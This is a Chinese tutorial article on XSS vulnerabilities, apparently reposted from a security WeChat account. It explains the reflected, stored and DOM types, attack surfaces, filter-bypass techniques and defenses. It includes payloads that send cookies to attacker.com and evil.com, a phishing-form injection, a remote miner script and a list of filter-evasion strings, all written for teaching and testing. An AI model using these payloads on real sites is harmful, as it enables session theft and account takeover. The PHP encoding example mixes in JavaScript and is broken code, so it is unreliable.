扫码加圈子
获内部资料
网络安全领域各种资源,EDUSRC证书站挖掘、红蓝攻防、渗透测试等优质文章,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。加内部圈子,文末有彩蛋(知识星球优惠卷)。
原文链接:https://xz.aliyun.com/news/17955
作者:Poseidon
XSS漏洞原理
跨站脚本攻击(Cross Site Scripting,简称 XSS),当应用程序将用户提交的数据发送到浏览器的页面中,但未经过适当的验证或转义时,就会引发跨站脚本(XSS)漏洞。这种漏洞利用了浏览器的特性,而不是缺陷。浏览器的同源策略确保只有发布 Cookie 的网站才能读取该网站的 Cookie,这一机制用于保护用户的隐私和安全。然而,XSS 漏洞可以突破这一保护,攻击者可以通过注入恶意脚本来窃取用户的 Cookie,劫持用户的 Web 行为,甚至结合 CSRF(跨站请求伪造)进行针对性的攻击,进一步导致用户信息泄露或账户劫持等严重安全问题。
漏洞类型
根据恶意脚本的传播方式和触发原理,XSS 漏洞通常可分为三类:反射型(Reflected XSS)、存储型(Stored XSS) 和 DOM 型(DOM-based XSS)。这三类漏洞在攻击机制上有所不同,下面分别进行说明。
反射型 XSS(Reflected XSS)
反射型 XSS 多出现在搜索框、登录页面等用户输入内容会被立即回显的位置。攻击者将恶意脚本注入到 URL 中,诱导用户点击特定链接,从而触发脚本执行。
特点:
-
脚本不会被存储在服务器上,仅在一次请求-响应周期中生效;
-
需要用户主动点击攻击者构造的恶意链接;
-
常用于窃取 Cookie 或进行钓鱼欺骗。
利用反射型 XSS 进行 Cookie 窃取通常需要满足两个条件:
-
用户点击了攻击者精心构造的 URL;
-
目标网站存在反射型 XSS 漏洞,并在页面中回显了未转义的用户输入。
存储型 XSS(Stored XSS)
存储型 XSS 是最危险的一类,攻击者将恶意脚本提交到服务器端,脚本会被存储在数据库、日志或其他持久化介质中,并在其他用户访问相关内容时被加载和执行。
常见触发场景:
-
留言板、评论系统、论坛帖子、用户签名等交互区域;
-
管理员后台浏览用户内容时自动触发。
危害:
-
可批量影响所有访问该页面的用户;
-
可造成蠕虫式传播、管理员权限劫持等严重后果;
-
攻击持续时间长,难以察觉。
DOM 型 XSS(DOM-based XSS)
DOM 型 XSS 是基于浏览器中的文档对象模型(DOM)进行攻击的一种方式,脚本注入和执行完全发生在客户端,服务端并不直接参与。
特点:
-
攻击入口仍通过 URL 参数传递;
-
恶意代码不出现在 HTML 源码中,而是在浏览器解析 DOM 时动态执行;
-
主要依赖客户端 JavaScript 中的不安全操作(如
document.write()
、innerHTML
、eval()
等);
<script>
var url = document.location;
url = unescape(url);
var message = url.substring(url.indexOf('message=') + 8, url.length);
document.write(message);
</script>
如果攻击者访问页面时将 URL 设置为:
http://example.com/page.html?message=<script>alert(1)</script>
脚本中的 document.write()
会将 <script>alert(1)</script>
动态写入页面,从而被执行。
注意:DOM 型 XSS 与反射型类似,也需要用户点击特定 URL,但漏洞本质存在于前端 JavaScript 代码中。
攻击面
示例
XSS 漏洞出现的原因很简单,主要是浏览器将用户输入的数据误当作 JavaScript 代码执行。下面通过一个简单的示例来引出 XSS 可能出现的典型场景。
<inputtype="text"value="<%= getParameter("keyword") %>">
<button>搜索</button>
<div>
您搜索的关键词是:<%=getParameter("keyword") %>
</div>
在该示例中,用户提交的 keyword
参数被直接嵌入到 HTML 页面中,既未经过任何过滤,也未进行 HTML 实体转义。若攻击者在搜索框中输入以下内容:
"><script>alert('XSS')</script>
页面最终渲染出来的 HTML 将变成如下所示:
<inputtype="text"value=""><script>alert('XSS')</script>">
此时脚本将被立即执行,弹出一个提示框。这个 payload 仅用于演示 XSS 漏洞的可执行性。实际上,攻击者可以利用这一漏洞执行任意 JavaScript 代码,例如窃取用户的 Cookie 信息:
<script>newImage().src="http://attacker.com/steal?c="+document.cookie;</script>
当用户访问被注入恶意脚本的页面时,浏览器会自动请求攻击者搭建的服务器,并在 URL 中附带当前用户的 Cookie。攻击者即可借此获取用户的身份凭证,从而进行进一步的账号冒用或操作伪造。关于此类攻击可能带来的更多危害,将在下文的“漏洞危害”章节中进行详细说明。
表单输入字段
<inputtype="text"value="<%= request.getParameter("keyword") %>">
如果用户输入:"><script>alert('XSS')</script>
,页面将执行恶意脚本。
URL 参数注入
https://example.com/search?query=<script>alert('XSS')</script>
后台返回页面
<p>搜索结果:<%= request.getParameter("query") %></p>
若无转义处理,脚本将直接执行。
示例
💥name
参数会直接显示在页面上。
payload
https://ctf.aabyss.cn/xss-labs/level1.php?name=%3Cscript%3Ealert(%27XSS%27)%3C/script%3E
HTTP 请求头注入
攻击者伪造请求头
User-Agent: <script>alert('XSS')</script>
后台记录日志的代码
<p>访问者信息:<%=request.getHeader("User-Agent") %></p>
若管理后台页面展示日志时未转义,管理员浏览时将触发 XSS。
示例
💥添加referer: "type="test" onclick="alert('test')
出现提示。
存储型 XSS
💥类似这样的留言功能可能会出现xss漏洞。
攻击者提交评论内容
<script>fetch('http://evil.com/steal?c='+document.cookie)</script>
后台将评论存入数据库
INSERT INTO comments (content) VALUES ('<script>...</script>');
前台渲染
<div><%=comment.content%></div>
所有访问该评论的用户都将被攻击。
错误信息中回显用户输入
<p>出错啦,您输入的用户名是:<%=request.getParameter("username") %></p>
攻击者输入
<script>alert('XSS')</script>
错误页直接触发脚本执行。
漏洞危害
在前文介绍 XSS 漏洞攻击面时,已简要提及了一些潜在危害。本节将对这些危害及其具体的利用方式进行更系统、深入的说明。同时,将结合前述攻击面,进一步分析攻击者如何利用这些入口实施实际攻击,从而帮助全面理解 XSS 漏洞的严重性与攻击路径。
窃取用户 Cookie
搜索框、评论区等功能常将用户输入回显到页面上,如果未进行 HTML 转义处理,攻击者可注入恶意脚本。具体的漏洞
<script>
newImage().src="http://attacker.com/log?c="+document.cookie;
</script>
用户访问恶意页面后,其 Cookie 信息将被发送给攻击者,进而导致 session 劫持、账号被盗。
钓鱼欺骗
用户昵称、签名、自我介绍等内容常常在资料页展示,如果直接输出,攻击者可伪造任意界面或按钮。
<script>
document.body.innerHTML='<form action="http://attacker.com/phish"><input name="pwd"></form>';
</script>
用户误以为是系统提示,主动提交账号密码等信息。
后台攻击
攻击者在存储型 XSS 场景中,发布含有恶意脚本的评论内容。当管理员在后台浏览时,脚本将在高权限上下文执行。
<script>
fetch('/admin/deleteAll', { method: 'POST' });
</script>
攻击者借助管理员权限操作系统数据,甚至可注入更多脚本实现蠕虫式传播。
页面劫持
网站常从 URL 中读取参数动态生成页面内容,如新闻标题、跳转地址等。如果未正确处理,也可能被注入脚本。
http://example.com/page?msg=<script src="http://attacker.com/miner.js"></script>
实现页面跳转、加载恶意代码、强制浏览挖矿脚本或其他攻击内容。
高交互性诱导操作
现代前端框架有时使用服务端渲染,若模板中包含未清洗的变量,会形成 DOM 型 XSS。
<script>
document.querySelector("#transferBtn").click();
</script>
结合 CSRF,可自动完成资金转移、信息更改等敏感操作。
XSS漏洞攻防
本节将介绍常见的 XSS 防御方法及其绕过技巧,内容相对较多,仅对原理感兴趣的读者可选择跳过。
漏洞查找
基本验证
将以下代码作为 Fuzz 测试样本,尝试提交到所有可能接收用户输入的地方,如 HTTP 头、URL 参数、前端表单等。
"><script>alert(document.cookie)</script>
如果发现攻击字符串原样出现在响应中,则可能存在 XSS 漏洞。
许多应用会尝试通过黑名单等简单方式进行初步过滤来阻止 XSS 攻击,但这类防御往往不够严密,可以通过编码或构造变形的方式进行绕过,例如:
"><ScRiPt>alert(document.cookie)</ScRiPt>
// 利用大小写混淆绕过过滤(部分过滤器只匹配小写关键词)
"%3e%3cscript%3ealert(document.cookie)%3c/script%3e
// 完整使用 URL 编码(%3e = '>',%3c = '<'),绕过对特殊字符的拦截
"><scr<script>ipt>alert(document.cookie)</scr</script>ipt>
// 利用标签嵌套的方式绕过过滤器,例如将 <script> 拆分成多段
%00"><script>alert(document.cookie)</script>
// 在前面插入空字节(%00),绕过部分语言或框架在处理字符串时的截断问题
当利用基于 DOM 的 XSS 漏洞时,攻击载荷不会出现在服务器的响应内容中,而是被直接保存在浏览器端的 DOM 结构中,并通过客户端的 JavaScript 脚本进行处理和执行。
在这种情况下,以上所提的基本验证方式(如检测响应中是否出现攻击字符串)将无法发现此类 XSS 漏洞。因为漏洞的触发完全发生在客户端执行 JavaScript 的过程中,而非依赖于服务端的返回内容。
反射型 XSS 查找
1.基本的反射型 XSS 测试
将以下恶意脚本注入页面的各个参数中,观察是否被反射回页面并执行:
"><script>alert(document.cookie)</script>
若字符串原样出现在页面响应中,可能存在反射型 XSS。
2.常见注入位置与方法
2.1 标签属性值
假设返回页面中有以下内容:
<inputtype="text"name="name"value="test-text">
注入方式:
"><script>alert(1)</script>
2.2 JavaScript 字符串上下文
返回内容示例:
<script>vara='test-text';</script>
注入方式:
';alert(1);var b='
2.3 URL 属性
返回内容:
<ahref="test-text">Clickhere</a>
注入方式:
<ahref="javascript:alert(1)">Clickhere</a>
3.利用常见标签和属性触发脚本执行
3.1 无需用户交互的事件属性
<styleonreadystatechange=alert(1)></style>
<iframeonreadystatechange=alert(1)></iframe>
<objectonerror=alert(1)></object>
<imgsrc=valid.gifonreadystatechange=alert(1)>
<inputtype=imagesrc=valid.gifonreadystatechange=alert(1)>
<bodyonbeforeactivate=alert(1)></body>
<videosrc=1onerror=alert(1)></video>
<audiosrc=1onerror=alert(1)>
3.2 脚本伪协议注入
<objectdata="javascript:alert(1)"></object>
<iframesrc="javascript:alert(1)"></iframe>
<event-sourcesrc="javascript:alert(1)"></event-source>
4.HTML 绕过技巧
4.1 标签名绕过
-
大小写混淆:
<iMg onerror=alert(1) src=a>
-
插入 NULL 字节:
<%00img onerror=alert(1) src=a>
-
空格替代字符:
<img%09onerror=alert(1) src=a><!-- Tab -->
<img%0aonerror=alert(1) src=a><!-- 换行 -->
<img/"onerror=alert(1) src=a> <!-- 异常语法 -->
4.2 属性名绕过
<img o%00nerror=alert(1) src=a>
4.3 属性分隔绕过
<imgonerror='alert(1)'src=a>
4.4 属性值编码绕过
<imgonerror=a%00lert(1) src=a>
<imgonerror=alert(1) src=a>
4.5 可编码属性
-
href=
-
action=
-
formaction=
-
location=
-
on*=
-
name=
-
background=
-
poster=
-
src=
-
code=
-
data=
(仅支持 base64)
5.绕过字符集与长度限制
5.1 使用非标准编码:
-
UTF-7
-
US-ASCII
-
UTF-16
5.2 拆分跨站脚本(用于绕过长度限制)
<script>
z='<script src=';
z+='test.c';
z+='n/1.js></script>';
document.write(z);
</script>
执行结果为:
<scriptsrc=test.cn/1.js></script>
6.JavaScript 层面的绕过技巧
6.1 Unicode 编码关键字
<script>au006cert(1)</script>
或结合 eval()
:
<script>eval('au006cert(1)')</script>
6.2 替代点操作符 .
<script>alert(document['cookie'])</script>
<script>with(document)alert(cookie)</script>
存储型XSS查找
保存型 XSS 漏洞的检测过程与反射型 XSS 相似,但存在一些关键的区别。在进行测试时,必须牢记这些区别,以确保能够尽可能多地发现漏洞。
提交特殊字符串后进行反复检查
提交特殊的恶意字符串后,除了在常规输入位置测试外,还必须反复检查应用程序的每个页面和功能,确保没有遗漏任何潜在的 XSS 漏洞。
检查管理员区域
如果应用程序有管理员访问区域,建议特别关注这一部分。确认是否有任何非管理员用户能够控制的数据。如果管理员能够访问并查看日志等,攻击者可能会通过恶意 HTML 脚本注入这些日志中并加以利用。
检查带外通道
不仅要关注常规的输入输出路径,还需要检查所有可控的带外通道,如 HTTP 消息头等,确保它们不会成为潜在的 XSS 漏洞入口。
DOM型的XSS漏洞查找
基于 DOM 的 XSS 漏洞检测不同于反射型和保存型 XSS 漏洞,因为漏洞发生在客户端 JavaScript 中,而不是服务器端。在这种攻击中,恶意脚本会被存储在浏览器的 DOM 中,而非 HTTP 响应中返回。为了检测这种漏洞,以下是一些有效的步骤和工具。
检查客户端 JavaScript 中的危险 DOM API
一种有效的检测方法是,检查所有客户端 JavaScript 代码,查看是否使用了任何可能导致 XSS 漏洞的 DOM 属性和 API。可以通过工具 DOMTracer 自动执行此测试过程,帮助识别潜在的漏洞。
需要关注的 DOM 属性和 API
以下是一些可能导致漏洞的 DOM 属性和 API,攻击者可以通过这些 API 来访问和操控浏览器中的 DOM 数据:
-
document.location
-
document.URL
-
document.URLUnencoded
-
document.referrer
-
window.location
在每一个使用这些 API 的地方,仔细检查代码,特别注意如何处理来自用户输入的数据。如果用户能够控制这些数据并将其传递到以上 API 中,则可能导致 XSS 漏洞。
关注危险的 JavaScript 操作
以下是一些可以执行恶意脚本的 JavaScript 函数,它们可能被用于动态地将用户可控的数据写入页面或执行代码。需要仔细检查这些 API 和操作的使用:
-
document.write()
-
document.writeln()
-
document.body.innerHTML
-
eval()
-
window.execScript()
-
window.setInterval()
-
window.setTimeout()
特别是在这些 API 中,检查是否存在将用户输入的数据直接传递进去的情况,若传递未经验证的用户输入,则可能导致 XSS 漏洞。
注意 URL 中的片段
另一个可能的漏洞来源是 URL 中的片段(fragment)。服务器通常不会解析 URL 中 #
后的内容,因此,恶意用户可以在 URL 片段中注入数据,并通过客户端 JavaScript 访问这些数据。如果应用程序错误地处理这些片段数据,就可能导致 XSS 漏洞。
漏洞防御
反射型与存储型 XSS
反射型与存储型 XSS 漏洞的根本原因在于用户可控的数据未经适当的验证与净化就被复制到应用程序的响应中。为了防止这类漏洞,应用程序应该采取以下措施:
确认输入
-
数据长度控制:确保输入数据不会过长,限制数据的最大长度。
-
合法字符限制:确保数据仅包含预期的合法字符。例如,用户名只允许字母和数字,电子邮件地址只允许合法的邮箱格式。
-
正则表达式匹配:对输入数据进行正则表达式检查,确保它符合特定的格式。
根据应用程序希望接收的数据类型,可以针对姓名、电子邮件地址、账号等字段,应用不同的确认规则。尽量采取限制性的输入规则,减少可能的攻击面。
确认输出
-
HTML 编码:如果应用程序将用户或第三方提交的数据插入到响应中,必须对这些数据进行 HTML 编码。这样可以确保恶意代码被净化,防止它被当作 HTML 或 JavaScript 代码执行。
消除危险插入点
-
避免直接插入用户数据到 JavaScript:尽量避免在现有的 JavaScript 代码中直接插入用户可控的数据。如果确实需要插入,确保对数据进行严格处理。
-
避免嵌入用户输入到标签属性中:尤其是当标签属性需要 URL 作为值时,避免直接插入用户输入的 URL。
允许有限的 HTML
一些应用程序(如博客、论坛的富文本编辑器)允许用户以 HTML 格式提交数据。这种情况下,应用程序应使用专门的框架(如 OWASP AntiSamy 项目)来确认用户提交的 HTML 标记,确保其中不包含任何可能执行 JavaScript 的代码。
DOM 的 XSS 漏洞
与反射型和存储型 XSS 漏洞不同,基于 DOM 的 XSS 漏洞不需要用户数据出现在服务器的响应中,而是发生在客户端的 JavaScript 代码中。为了防止这种类型的漏洞,以下是一些有效的防护方法:
确认输入
-
客户端验证:确保将要插入到文档中的数据仅包含字母、数字与空白符。可以使用 JavaScript 对输入进行验证,例如:
<script>
vara=document.URL;
a=a.substring(a.indexOf("message=") +8, a.length);
a=unescape(a);
varregex=/^(A-Za-z0-9+s)*$/;
if (regex.test(a)) {
document.write(a);
}
</script>
-
服务端验证:对 URL 数据进行严格的确认,包括:
-
查询字符串中只有一个参数。
-
参数名的大小写检查。
-
参数值仅包含字母和数字。
确认输出
-
HTML 编码:在将用户可控的 DOM 数据插入到文档之前,确保进行 HTML 编码,防止恶意脚本执行。例如,使用 PHP 或 JavaScript 对数据进行编码:
<?php
functionreinit($str) {
$d=document.createElement('div');
$d.appendChild(document.createTextNode($str));
return$d.innerHTML;
}
?>
参考链接
-
XSS漏洞(全网最详细)https://blog.csdn.net/qq_61553520/article/details/130268475
-
Web 安全头号大敌 XSS 漏洞解决最佳实践https://cloud.tencent.com/developer/article/1790802
-
XSS跨站脚本漏洞https://wiki.wgpsec.org/knowledge/web/xss.html
-
XSS靶场http://ctf.aabyss.cn/xss-labs/index.php
原文始发于微信公众号(神农Sec):src漏洞挖掘之XSS由浅入深
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论